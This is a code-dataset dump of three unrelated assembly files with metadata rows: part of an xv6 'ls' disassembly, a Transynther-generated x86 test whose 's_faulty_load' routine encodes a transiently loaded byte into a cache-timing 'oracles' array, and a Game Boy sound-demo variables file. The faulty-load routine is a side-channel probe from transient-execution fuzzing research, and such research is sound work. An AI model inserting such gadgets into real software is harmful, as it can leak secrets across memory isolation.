00 00 00 mov $0xa,%eax 1620: cd 40 int $0x40 1622: c3 ret 00001623 <getpid>: SYSCALL(getpid) 1623: b8 0b 00 00 00 mov $0xb,%eax 1628: cd 40 int $0x40 162a: c3 ret 0000162b <sbrk>: SYSCALL(sbrk) 162b: b8 0c 00 00 00 mov $0xc,%eax 1630: cd 40 int $0x40 1632: c3 ret 00001633 <sleep>: SYSCALL(sleep) 1633: b8 0d 00 00 00 mov $0xd,%eax 1638: cd 40 int $0x40 163a: c3 ret 0000163b <uptime>: SYSCALL(uptime) 163b: b8 0e 00 00 00 mov $0xe,%eax 1640: cd 40 int $0x40 1642: c3 ret 00001643 <shm_open>: SYSCALL(shm_open) 1643: b8 16 00 00 00 mov $0x16,%eax 1648: cd 40 int $0x40 164a: c3 ret 0000164b <shm_close>: SYSCALL(shm_close) 164b: b8 17 00 00 00 mov $0x17,%eax 1650: cd 40 int $0x40 1652: c3 ret 1653: 66 90 xchg %ax,%ax 1655: 66 90 xchg %ax,%ax 1657: 66 90 xchg %ax,%ax 1659: 66 90 xchg %ax,%ax 165b: 66 90 xchg %ax,%ax 165d: 66 90 xchg %ax,%ax 165f: 90 nop 00001660 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1660: 55 push %ebp 1661: 89 e5 mov %esp,%ebp 1663: 57 push %edi 1664: 56 push %esi 1665: 53 push %ebx 1666: 83 ec 3c sub $0x3c,%esp 1669: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 166c: 89 d1 mov %edx,%ecx { 166e: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 1671: 85 d2 test %edx,%edx 1673: 0f 89 7f 00 00 00 jns 16f8 <printint+0x98> 1679: f6 45 08 01 testb $0x1,0x8(%ebp) 167d: 74 79 je 16f8 <printint+0x98> neg = 1; 167f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 1686: f7 d9 neg %ecx } else { x = xx; } i = 0; 1688: 31 db xor %ebx,%ebx 168a: 8d 75 d7 lea -0x29(%ebp),%esi 168d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1690: 89 c8 mov %ecx,%eax 1692: 31 d2 xor %edx,%edx 1694: 89 cf mov %ecx,%edi 1696: f7 75 c4 divl -0x3c(%ebp) 1699: 0f b6 92 0c 1b 00 00 movzbl 0x1b0c(%edx),%edx 16a0: 89 45 c0 mov %eax,-0x40(%ebp) 16a3: 89 d8 mov %ebx,%eax 16a5: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 16a8: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 16ab: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 16ae: 39 7d c4 cmp %edi,-0x3c(%ebp) 16b1: 76 dd jbe 1690 <printint+0x30> if(neg) 16b3: 8b 4d bc mov -0x44(%ebp),%ecx 16b6: 85 c9 test %ecx,%ecx 16b8: 74 0c je 16c6 <printint+0x66> buf[i++] = '-'; 16ba: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 16bf: 89 d8 mov %ebx,%eax buf[i++] = '-'; 16c1: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 16c6: 8b 7d b8 mov -0x48(%ebp),%edi 16c9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 16cd: eb 07 jmp 16d6 <printint+0x76> 16cf: 90 nop 16d0: 0f b6 13 movzbl (%ebx),%edx 16d3: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 16d6: 83 ec 04 sub $0x4,%esp 16d9: 88 55 d7 mov %dl,-0x29(%ebp) 16dc: 6a 01 push $0x1 16de: 56 push %esi 16df: 57 push %edi 16e0: e8 de fe ff ff call 15c3 <write> while(--i >= 0) 16e5: 83 c4 10 add $0x10,%esp 16e8: 39 de cmp %ebx,%esi 16ea: 75 e4 jne 16d0 <printint+0x70> putc(fd, buf[i]); } 16ec: 8d 65 f4 lea -0xc(%ebp),%esp 16ef: 5b pop %ebx 16f0: 5e pop %esi 16f1: 5f pop %edi 16f2: 5d pop %ebp 16f3: c3 ret 16f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 16f8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 16ff: eb 87 jmp 1688 <printint+0x28> 1701: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1708: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 170f: 90 nop 00001710 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1710: f3 0f 1e fb endbr32 1714: 55 push %ebp 1715: 89 e5 mov %esp,%ebp 1717: 57 push %edi 1718: 56 push %esi 1719: 53 push %ebx 171a: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 171d: 8b 75 0c mov 0xc(%ebp),%esi 1720: 0f b6 1e movzbl (%esi),%ebx 1723: 84 db test %bl,%bl 1725: 0f 84 b4 00 00 00 je 17df <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 172b: 8d 45 10 lea 0x10(%ebp),%eax 172e: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 1731: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 1734: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 1736: 89 45 d0 mov %eax,-0x30(%ebp) 1739: eb 33 jmp 176e <printf+0x5e> 173b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 173f: 90 nop 1740: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 1743: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 1748: 83 f8 25 cmp $0x25,%eax 174b: 74 17 je 1764 <printf+0x54> write(fd, &c, 1); 174d: 83 ec 04 sub $0x4,%esp 1750: 88 5d e7 mov %bl,-0x19(%ebp) 1753: 6a 01 push $0x1 1755: 57 push %edi 1756: ff 75 08 pushl 0x8(%ebp) 1759: e8 65 fe ff ff call 15c3 <write> 175e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 1761: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 1764: 0f b6 1e movzbl (%esi),%ebx 1767: 83 c6 01 add $0x1,%esi 176a: 84 db test %bl,%bl 176c: 74 71 je 17df <printf+0xcf> c = fmt[i] & 0xff; 176e: 0f be cb movsbl %bl,%ecx 1771: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1774: 85 d2 test %edx,%edx 1776: 74 c8 je 1740 <printf+0x30> } } else if(state == '%'){ 1778: 83 fa 25 cmp $0x25,%edx 177b: 75 e7 jne 1764 <printf+0x54> if(c == 'd'){ 177d: 83 f8 64 cmp $0x64,%eax 1780: 0f 84 9a 00 00 00 je 1820 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1786: 81 e1 f7 00 00 00 and $0xf7,%ecx 178c: 83 f9 70 cmp $0x70,%ecx 178f: 74 5f je 17f0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1791: 83 f8 73 cmp $0x73,%eax 1794: 0f 84 d6 00 00 00 je 1870 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 179a: 83 f8 63 cmp $0x63,%eax 179d: 0f 84 8d 00 00 00 je 1830 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 17a3: 83 f8 25 cmp $0x25,%eax 17a6: 0f 84 b4 00 00 00 je 1860 <printf+0x150> write(fd, &c, 1); 17ac: 83 ec 04 sub $0x4,%esp 17af: c6 45 e7 25 movb $0x25,-0x19(%ebp) 17b3: 6a 01 push $0x1 17b5: 57 push %edi 17b6: ff 75 08 pushl 0x8(%ebp) 17b9: e8 05 fe ff ff call 15c3 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 17be: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 17c1: 83 c4 0c add $0xc,%esp 17c4: 6a 01 push $0x1 17c6: 83 c6 01 add $0x1,%esi 17c9: 57 push %edi 17ca: ff 75 08 pushl 0x8(%ebp) 17cd: e8 f1 fd ff ff call 15c3 <write> for(i = 0; fmt[i]; i++){ 17d2: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 17d6: 83 c4 10 add $0x10,%esp } state = 0; 17d9: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 17db: 84 db test %bl,%bl 17dd: 75 8f jne 176e <printf+0x5e> } } } 17df: 8d 65 f4 lea -0xc(%ebp),%esp 17e2: 5b pop %ebx 17e3: 5e pop %esi 17e4: 5f pop %edi 17e5: 5d pop %ebp 17e6: c3 ret 17e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 17ee: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 17f0: 83 ec 0c sub $0xc,%esp 17f3: b9 10 00 00 00 mov $0x10,%ecx 17f8: 6a 00 push $0x0 17fa: 8b 5d d0 mov -0x30(%ebp),%ebx 17fd: 8b 45 08 mov 0x8(%ebp),%eax 1800: 8b 13 mov (%ebx),%edx 1802: e8 59 fe ff ff call 1660 <printint> ap++; 1807: 89 d8 mov %ebx,%eax 1809: 83 c4 10 add $0x10,%esp state = 0; 180c: 31 d2 xor %edx,%edx ap++; 180e: 83 c0 04 add $0x4,%eax 1811: 89 45 d0 mov %eax,-0x30(%ebp) 1814: e9 4b ff ff ff jmp 1764 <printf+0x54> 1819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 1820: 83 ec 0c sub $0xc,%esp 1823: b9 0a 00 00 00 mov $0xa,%ecx 1828: 6a 01 push $0x1 182a: eb ce jmp 17fa <printf+0xea> 182c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 1830: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 1833: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 1836: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 1838: 6a 01 push $0x1 ap++; 183a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 183d: 57 push %edi 183e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 1841: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1844: e8 7a fd ff ff call 15c3 <write> ap++; 1849: 89 5d d0 mov %ebx,-0x30(%ebp) 184c: 83 c4 10 add $0x10,%esp state = 0; 184f: 31 d2 xor %edx,%edx 1851: e9 0e ff ff ff jmp 1764 <printf+0x54> 1856: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 185d: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 1860: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1863: 83 ec 04 sub $0x4,%esp 1866: e9 59 ff ff ff jmp 17c4 <printf+0xb4> 186b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 186f: 90 nop s = (char*)*ap; 1870: 8b 45 d0 mov -0x30(%ebp),%eax 1873: 8b 18 mov (%eax),%ebx ap++; 1875: 83 c0 04 add $0x4,%eax 1878: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 187b: 85 db test %ebx,%ebx 187d: 74 17 je 1896 <printf+0x186> while(*s != 0){ 187f: 0f b6 03 movzbl (%ebx),%eax state = 0; 1882: 31 d2 xor %edx,%edx while(*s != 0){ 1884: 84 c0 test %al,%al 1886: 0f 84 d8 fe ff ff je 1764 <printf+0x54> 188c: 89 75 d4 mov %esi,-0x2c(%ebp) 188f: 89 de mov %ebx,%esi 1891: 8b 5d 08 mov 0x8(%ebp),%ebx 1894: eb 1a jmp 18b0 <printf+0x1a0> s = "(null)"; 1896: bb 02 1b 00 00 mov $0x1b02,%ebx while(*s != 0){ 189b: 89 75 d4 mov %esi,-0x2c(%ebp) 189e: b8 28 00 00 00 mov $0x28,%eax 18a3: 89 de mov %ebx,%esi 18a5: 8b 5d 08 mov 0x8(%ebp),%ebx 18a8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 18af: 90 nop write(fd, &c, 1); 18b0: 83 ec 04 sub $0x4,%esp s++; 18b3: 83 c6 01 add $0x1,%esi 18b6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 18b9: 6a 01 push $0x1 18bb: 57 push %edi 18bc: 53 push %ebx 18bd: e8 01 fd ff ff call 15c3 <write> while(*s != 0){ 18c2: 0f b6 06 movzbl (%esi),%eax 18c5: 83 c4 10 add $0x10,%esp 18c8: 84 c0 test %al,%al 18ca: 75 e4 jne 18b0 <printf+0x1a0> 18cc: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 18cf: 31 d2 xor %edx,%edx 18d1: e9 8e fe ff ff jmp 1764 <printf+0x54> 18d6: 66 90 xchg %ax,%ax 18d8: 66 90 xchg %ax,%ax 18da: 66 90 xchg %ax,%ax 18dc: 66 90 xchg %ax,%ax 18de: 66 90 xchg %ax,%ax 000018e0 <free>: static Header base; static Header *freep; void free(void *ap) { 18e0: f3 0f 1e fb endbr32 18e4: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 18e5: a1 84 1e 00 00 mov 0x1e84,%eax { 18ea: 89 e5 mov %esp,%ebp 18ec: 57 push %edi 18ed: 56 push %esi 18ee: 53 push %ebx 18ef: 8b 5d 08 mov 0x8(%ebp),%ebx 18f2: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 18f4: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 18f7: 39 c8 cmp %ecx,%eax 18f9: 73 15 jae 1910 <free+0x30> 18fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 18ff: 90 nop 1900: 39 d1 cmp %edx,%ecx 1902: 72 14 jb 1918 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1904: 39 d0 cmp %edx,%eax 1906: 73 10 jae 1918 <free+0x38> { 1908: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 190a: 8b 10 mov (%eax),%edx 190c: 39 c8 cmp %ecx,%eax 190e: 72 f0 jb 1900 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1910: 39 d0 cmp %edx,%eax 1912: 72 f4 jb 1908 <free+0x28> 1914: 39 d1 cmp %edx,%ecx 1916: 73 f0 jae 1908 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 1918: 8b 73 fc mov -0x4(%ebx),%esi 191b: 8d 3c f1 lea (%ecx,%esi,8),%edi 191e: 39 fa cmp %edi,%edx 1920: 74 1e je 1940 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 1922: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1925: 8b 50 04 mov 0x4(%eax),%edx 1928: 8d 34 d0 lea (%eax,%edx,8),%esi 192b: 39 f1 cmp %esi,%ecx 192d: 74 28 je 1957 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 192f: 89 08 mov %ecx,(%eax) freep = p; } 1931: 5b pop %ebx freep = p; 1932: a3 84 1e 00 00 mov %eax,0x1e84 } 1937: 5e pop %esi 1938: 5f pop %edi 1939: 5d pop %ebp 193a: c3 ret 193b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 193f: 90 nop bp->s.size += p->s.ptr->s.size; 1940: 03 72 04 add 0x4(%edx),%esi 1943: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 1946: 8b 10 mov (%eax),%edx 1948: 8b 12 mov (%edx),%edx 194a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 194d: 8b 50 04 mov 0x4(%eax),%edx 1950: 8d 34 d0 lea (%eax,%edx,8),%esi 1953: 39 f1 cmp %esi,%ecx 1955: 75 d8 jne 192f <free+0x4f> p->s.size += bp->s.size; 1957: 03 53 fc add -0x4(%ebx),%edx freep = p; 195a: a3 84 1e 00 00 mov %eax,0x1e84 p->s.size += bp->s.size; 195f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1962: 8b 53 f8 mov -0x8(%ebx),%edx 1965: 89 10 mov %edx,(%eax) } 1967: 5b pop %ebx 1968: 5e pop %esi 1969: 5f pop %edi 196a: 5d pop %ebp 196b: c3 ret 196c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001970 <malloc>: return freep; } void* malloc(uint nbytes) { 1970: f3 0f 1e fb endbr32 1974: 55 push %ebp 1975: 89 e5 mov %esp,%ebp 1977: 57 push %edi 1978: 56 push %esi 1979: 53 push %ebx 197a: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 197d: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 1980: 8b 3d 84 1e 00 00 mov 0x1e84,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1986: 8d 70 07 lea 0x7(%eax),%esi 1989: c1 ee 03 shr $0x3,%esi 198c: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 198f: 85 ff test %edi,%edi 1991: 0f 84 a9 00 00 00 je 1a40 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1997: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 1999: 8b 48 04 mov 0x4(%eax),%ecx 199c: 39 f1 cmp %esi,%ecx 199e: 73 6d jae 1a0d <malloc+0x9d> 19a0: 81 fe 00 10 00 00 cmp $0x1000,%esi 19a6: bb 00 10 00 00 mov $0x1000,%ebx 19ab: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 19ae: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 19b5: 89 4d e4 mov %ecx,-0x1c(%ebp) 19b8: eb 17 jmp 19d1 <malloc+0x61> 19ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 19c0: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 19c2: 8b 4a 04 mov 0x4(%edx),%ecx 19c5: 39 f1 cmp %esi,%ecx 19c7: 73 4f jae 1a18 <malloc+0xa8> 19c9: 8b 3d 84 1e 00 00 mov 0x1e84,%edi 19cf: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 19d1: 39 c7 cmp %eax,%edi 19d3: 75 eb jne 19c0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 19d5: 83 ec 0c sub $0xc,%esp 19d8: ff 75 e4 pushl -0x1c(%ebp) 19db: e8 4b fc ff ff call 162b <sbrk> if(p == (char*)-1) 19e0: 83 c4 10 add $0x10,%esp 19e3: 83 f8 ff cmp $0xffffffff,%eax 19e6: 74 1b je 1a03 <malloc+0x93> hp->s.size = nu; 19e8: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 19eb: 83 ec 0c sub $0xc,%esp 19ee: 83 c0 08 add $0x8,%eax 19f1: 50 push %eax 19f2: e8 e9 fe ff ff call 18e0 <free> return freep; 19f7: a1 84 1e 00 00 mov 0x1e84,%eax if((p = morecore(nunits)) == 0) 19fc: 83 c4 10 add $0x10,%esp 19ff: 85 c0 test %eax,%eax 1a01: 75 bd jne 19c0 <malloc+0x50> return 0; } } 1a03: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 1a06: 31 c0 xor %eax,%eax } 1a08: 5b pop %ebx 1a09: 5e pop %esi 1a0a: 5f pop %edi 1a0b: 5d pop %ebp 1a0c: c3 ret if(p->s.size >= nunits){ 1a0d: 89 c2 mov %eax,%edx 1a0f: 89 f8 mov %edi,%eax 1a11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1a18: 39 ce cmp %ecx,%esi 1a1a: 74 54 je 1a70 <malloc+0x100> p->s.size -= nunits; 1a1c: 29 f1 sub %esi,%ecx 1a1e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 1a21: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 1a24: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 1a27: a3 84 1e 00 00 mov %eax,0x1e84 } 1a2c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 1a2f: 8d 42 08 lea 0x8(%edx),%eax } 1a32: 5b pop %ebx 1a33: 5e pop %esi 1a34: 5f pop %edi 1a35: 5d pop %ebp 1a36: c3 ret 1a37: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1a3e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 1a40: c7 05 84 1e 00 00 88 movl $0x1e88,0x1e84 1a47: 1e 00 00 base.s.size = 0; 1a4a: bf 88 1e 00 00 mov $0x1e88,%edi base.s.ptr = freep = prevp = &base; 1a4f: c7 05 88 1e 00 00 88 movl $0x1e88,0x1e88 1a56: 1e 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1a59: 89 f8 mov %edi,%eax base.s.size = 0; 1a5b: c7 05 8c 1e 00 00 00 movl $0x0,0x1e8c 1a62: 00 00 00 if(p->s.size >= nunits){ 1a65: e9 36 ff ff ff jmp 19a0 <malloc+0x30> 1a6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 1a70: 8b 0a mov (%edx),%ecx 1a72: 89 08 mov %ecx,(%eax) 1a74: eb b1 jmp 1a27 <malloc+0xb7> 1a76: 66 90 xchg %ax,%ax 1a78: 66 90 xchg %ax,%ax 1a7a: 66 90 xchg %ax,%ax 1a7c: 66 90 xchg %ax,%ax 1a7e: 66 90 xchg %ax,%ax 00001a80 <uacquire>: #include "uspinlock.h" #include "x86.h" void uacquire(struct uspinlock *lk) { 1a80: f3 0f 1e fb endbr32 1a84: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1a85: b9 01 00 00 00 mov $0x1,%ecx 1a8a: 89 e5 mov %esp,%ebp 1a8c: 8b 55 08 mov 0x8(%ebp),%edx 1a8f: 90 nop 1a90: 89 c8 mov %ecx,%eax 1a92: f0 87 02 lock xchg %eax,(%edx) // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 1a95: 85 c0 test %eax,%eax 1a97: 75 f7 jne 1a90 <uacquire+0x10> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 1a99: f0 83 0c 24 00 lock orl $0x0,(%esp) } 1a9e: 5d pop %ebp 1a9f: c3 ret 00001aa0 <urelease>: void urelease (struct uspinlock *lk) { 1aa0: f3 0f 1e fb endbr32 1aa4: 55 push %ebp 1aa5: 89 e5 mov %esp,%ebp 1aa7: 8b 45 08 mov 0x8(%ebp),%eax __sync_synchronize(); 1aaa: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 1aaf: c7 00 00 00 00 00 movl $0x0,(%eax) } 1ab5: 5d pop %ebp 1ab6: c3 ret
37.853532
73
0.409927
[ "MIT-0" ]
adevi002/xv6-public
ls.asm
58,408
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xd623, %rsi lea addresses_normal_ht+0x15443, %rdi nop nop nop nop nop cmp $51430, %r12 mov $49, %rcx rep movsb nop nop nop nop nop cmp %r8, %r8 lea addresses_WT_ht+0x1c8b3, %rdx nop nop nop and $39388, %r13 movw $0x6162, (%rdx) nop nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0x1a053, %r13 xor $42203, %r12 mov (%r13), %cx nop nop and $63088, %r12 lea addresses_A_ht+0x102d3, %rdx nop nop nop nop add $1104, %r12 movb $0x61, (%rdx) nop nop sub $64665, %rdi lea addresses_UC_ht+0xb0d3, %r13 inc %rdi mov (%r13), %rcx xor %r12, %r12 lea addresses_D_ht+0x5d13, %rdx nop and %rcx, %rcx mov (%rdx), %edi nop nop nop sub $46998, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r9 push %rbp push %rdi push %rdx // Store mov $0xa53, %r10 nop nop nop inc %r14 movw $0x5152, (%r10) nop xor %r11, %r11 // Store lea addresses_PSE+0x6013, %rdx nop nop nop sub %rdi, %rdi movw $0x5152, (%rdx) nop nop cmp %r9, %r9 // Load lea addresses_PSE+0x18f53, %rbp clflush (%rbp) nop nop nop nop cmp $38925, %r11 mov (%rbp), %di dec %rbp // Faulty Load lea addresses_UC+0x8c53, %r10 nop nop nop nop cmp $20678, %rbp vmovntdqa (%r10), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 lea oracles, %rbp and $0xff, %r9 shlq $12, %r9 mov (%rbp,%r9,1), %r9 pop %rdx pop %rdi pop %rbp pop %r9 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_P', 'AVXalign': True, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}} {'src': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'00': 11} 00 00 00 00 00 00 00 00 00 00 00 */
19.125786
152
0.638277
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_11_687.asm
3,041
Assembly
; ================================================================ ; Variables ; ================================================================ if !def(incVars) incVars set 1 SECTION "Variables",HRAM ; ================================================================ ; Global variables ; ================================================================ VBACheck ds 1 ; variable used to determine if we're running in VBA sys_btnHold ds 1 ; held buttons sys_btnPress ds 1 ; pressed buttons RasterTime ds 1 if EngineSpeed != -1 VBlankOccurred ds 1 endc ; ================================================================ ; Project-specific variables ; ================================================================ ; Insert project-specific variables here. CurrentSong ds 1 SECTION "Visualizer Variables",WRAM0[$c000] if def(Visualizer) Sprites: ds 160 WaveDisplayBuffer ds 64 VisualizerTempWave ds 16 DepackedWaveDelta ds 33 VisualizerVarsStart: CH1Pulse ds 1 CH2Pulse ds 1 CH4Noise ds 1 CH1ComputedFreq ds 2 CH2ComputedFreq ds 2 CH3ComputedFreq ds 2 CH1PianoPos ds 1 CH2PianoPos ds 1 CH3PianoPos ds 1 CH1OutputLevel ds 1 CH2OutputLevel ds 1 CH4OutputLevel ds 1 CH1TempEnvelope ds 1 CH2TempEnvelope ds 1 CH4TempEnvelope ds 1 CH1EnvelopeCounter ds 1 CH2EnvelopeCounter ds 1 CH4EnvelopeCounter ds 1 EnvelopeTimer ds 1 VisualizerVarsEnd: RasterTimeChar ds 2 SongIDChar ds 3 endc EmulatorCheck ds 1 ; ================================================================ SECTION "Temporary register storage space",HRAM tempAF ds 2 tempBC ds 2 tempDE ds 2 tempHL ds 2 tempSP ds 2 tempPC ds 2 tempIF ds 1 tempIE ds 1 OAM_DMA ds 10 endc
22.582278
69
0.529709
[ "MIT" ]
DevEd2/DevSound
demo/Variables.asm
1,784
Assembly
